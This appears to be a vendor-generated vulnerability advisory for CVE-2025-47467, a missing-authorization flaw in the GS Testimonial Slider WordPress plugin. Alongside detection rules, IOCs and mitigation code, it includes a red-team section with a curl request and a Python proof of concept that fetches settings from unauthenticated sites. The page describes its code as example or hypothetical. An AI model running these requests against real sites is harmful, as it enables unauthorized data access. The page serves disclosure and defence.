CVE-2025-47467
Executive Summary
CVE-2025-47467 is a Missing Authorization vulnerability in the GS Testimonial Slider WordPress plugin, affecting versions up to and including 3.3.0. This flaw allows an unauthenticated attacker to exploit incorrectly configured access control security levels, potentially leading to unauthorized data exposure or manipulation of testimonial slider settings. The vulnerability is classified as a WordPress ecosystem issue, specifically within the plugin's authorization checks.
The vulnerability has a CVSS score of 4.3 (Medium), with a low attack complexity and no privileges required. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the lack of a patch makes it a persistent risk for unmaintained sites.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Since the plugin is not an NPM, PyPI, Go, or Ruby package, supply chain risks are limited to the plugin's update mechanism and third-party dependencies. Administrators should verify the plugin's integrity and ensure no malicious modifications have been introduced.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Impact confined to the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): None (N) – No data modification.
- Availability (A): None (N) – No denial of service.
Threat Level: Medium. The vulnerability is easy to exploit but has limited impact. However, in the context of a WordPress site, it could lead to disclosure of sensitive testimonial data or configuration details.
Deep Dive & Mechanics
The vulnerability resides in the GS Testimonial Slider plugin's authorization checks. The plugin fails to properly validate user permissions when accessing certain REST API endpoints or admin-ajax actions. Specifically, the gs-testimonial component does not enforce capability checks for functions that handle slider settings, testimonial data retrieval, or configuration updates.
Root Cause: The plugin uses wp_ajax_nopriv_* hooks without verifying user roles, or it relies on nonce-based checks that can be bypassed. This allows unauthenticated attackers to call privileged functions.
Attack Vector: An attacker can send crafted HTTP requests to the WordPress REST API or admin-ajax endpoints, such as:
/wp-admin/admin-ajax.php?action=gs_testimonial_get_settings/wp-json/gs-testimonial/v1/settings
Impact: Unauthorized access to testimonial data, slider configurations, and potentially stored XSS if the plugin outputs unescaped data.
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code pattern is described below.
Vulnerable Code (Example):
add_action('wp_ajax_nopriv_gs_testimonial_get_settings', 'gs_testimonial_get_settings_callback');
function gs_testimonial_get_settings_callback() {
// No capability check
$settings = get_option('gs_testimonial_settings');
wp_send_json($settings);
}
Patched Code (Hypothetical):
add_action('wp_ajax_gs_testimonial_get_settings', 'gs_testimonial_get_settings_callback');
function gs_testimonial_get_settings_callback() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$settings = get_option('gs_testimonial_settings');
wp_send_json($settings);
}
The patch would require proper capability checks (e.g., manage_options) and removal of nopriv hooks for sensitive actions.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with GS Testimonial Slider <= 3.3.0 installed and activated.
- Network access to the target.
Exploitation Steps:
- Identify the vulnerable endpoint by scanning for admin-ajax actions.
- Send a crafted request to retrieve settings:
curl -X POST http://target/wp-admin/admin-ajax.php \ -d "action=gs_testimonial_get_settings" - If successful, the response will contain plugin settings in JSON format.
Proof-of-Concept (Python):
import requests
target = "http://target/wp-admin/admin-ajax.php"
data = {"action": "gs_testimonial_get_settings"}
response = requests.post(target, data=data)
if response.status_code == 200:
print("Vulnerable! Settings:", response.text)
else:
print("Not vulnerable or patched.")
Blue Team (Defense)
Detection:
- Monitor for unusual admin-ajax requests without a valid nonce.
- Look for requests to
gs_testimonial_*actions from unauthenticated users.
Mitigation:
- Disable the plugin until a patch is available.
- Use a Web Application Firewall (WAF) to block requests to vulnerable endpoints.
- Implement custom code to add capability checks (if possible).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=gs_testimonial_*parameters. - GET requests to
/wp-json/gs-testimonial/v1/*endpoints.
- HTTP POST requests to
- File IOCs:
- Modified plugin files in
/wp-content/plugins/gs-testimonial-slider/. - Unexpected entries in WordPress options table (
gs_testimonial_settings).
- Modified plugin files in
- Log IOCs:
- WordPress debug log entries showing unauthorized access attempts.
- Web server logs with 200 responses to unauthenticated admin-ajax calls.
Detection Engineering
YARA Rule
rule CVE_2025_47467_GS_Testimonial_Slider {
meta:
description = "Detects vulnerable GS Testimonial Slider plugin files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-47467"
strings:
$vuln_func = "wp_ajax_nopriv_gs_testimonial" nocase
$vuln_hook = "gs_testimonial_get_settings" nocase
condition:
$vuln_func or $vuln_hook
}
Sigma Rule
title: CVE-2025-47467 - GS Testimonial Slider Missing Authorization
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts against GS Testimonial Slider missing authorization vulnerability
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
c-uri|contains: '/wp-admin/admin-ajax.php'
cs-uri-query|contains: 'action=gs_testimonial_'
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: medium
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-47467 GS Testimonial Slider Missing Authorization"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gs_testimonial_"; http_client_body; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin if not essential for business operations.
- Apply virtual patching via WAF rules to block requests to
gs_testimonial_*actions. - Monitor logs for exploitation attempts.
Long-term Fix:
- The vendor must release a patched version with proper capability checks.
- Until then, consider replacing the plugin with an alternative testimonial slider.
Workaround:
- Add custom code to
functions.phpto enforce authorization:add_action('init', function() { if (isset($_POST['action']) && strpos($_POST['action'], 'gs_testimonial_') === 0) { if (!current_user_can('manage_options')) { wp_die('Unauthorized', 403); } } });
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.